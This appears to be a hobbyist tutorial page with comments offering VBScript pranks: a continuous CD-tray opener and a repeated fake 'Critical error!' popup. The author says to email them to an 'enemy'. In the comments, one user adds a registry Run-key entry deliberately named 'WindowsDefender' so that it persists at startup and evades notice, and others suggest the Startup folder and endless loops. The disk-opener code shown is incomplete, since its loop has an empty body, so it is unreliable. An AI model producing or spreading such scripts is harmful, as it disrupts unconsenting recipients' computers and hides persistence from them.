Introduction: Visual Basic Scripting Tricks (2)

Picture of Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous Disk Opener

Picture of Continous Disk Opener

this will be a continuous disk opener, open notepad and write:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
Next ' cdrom
End If


save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

Picture of ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

Picture of Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it


Awal4real (author)2012-09-11

any script to copy the file to the start up folder automatically?

stealth4 (author)2009-03-27

lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

maxoomen (author)stealth42010-04-11

 it stops when you restart :)

michaelb958 (author)maxoomen2010-10-06

Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.

UBERBANKAI (author)2010-04-05

You could just type

lol=msgbox("Critical Error",16,"ERROR")

for a continuous error message

n1cod3mus (author)2010-02-19

Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")

'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"

adds it to the registry for start up

kei10 (author)2009-12-27

Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

n1cod3mus (author)kei102010-02-19

Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"

the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

GeekBeam (author)2010-02-10

lol i had to hold dowwn the power button to make it stop

zetsway (author)2009-04-15

I ran the script on my own PC. I couldn't stop laughing :)

Colonel88 (author)zetsway2009-07-03

Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.

BatchMan (author)2009-06-28

will this work:

sub pwn()
lol = msgbox ("Critical error!" ,16, "ERROR")
end sub

computerfaker3 (author)2009-03-27

add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"

I3uckwheat (author)2008-06-22

your right meeze it is a copy! duh it is

this is so plagerised

DavidRobertson (author)2008-02-17

Wonder where you got that code from... Hmm look at my instructablehere

GorillazMiko (author)2007-12-11

cool i liked that picture where is said ERROR

?? that's ok

About This Instructable




More by thefirstgaruga:visual basic scripting tricks (2)how to do batchhow to beat the matrix
Add instructable to: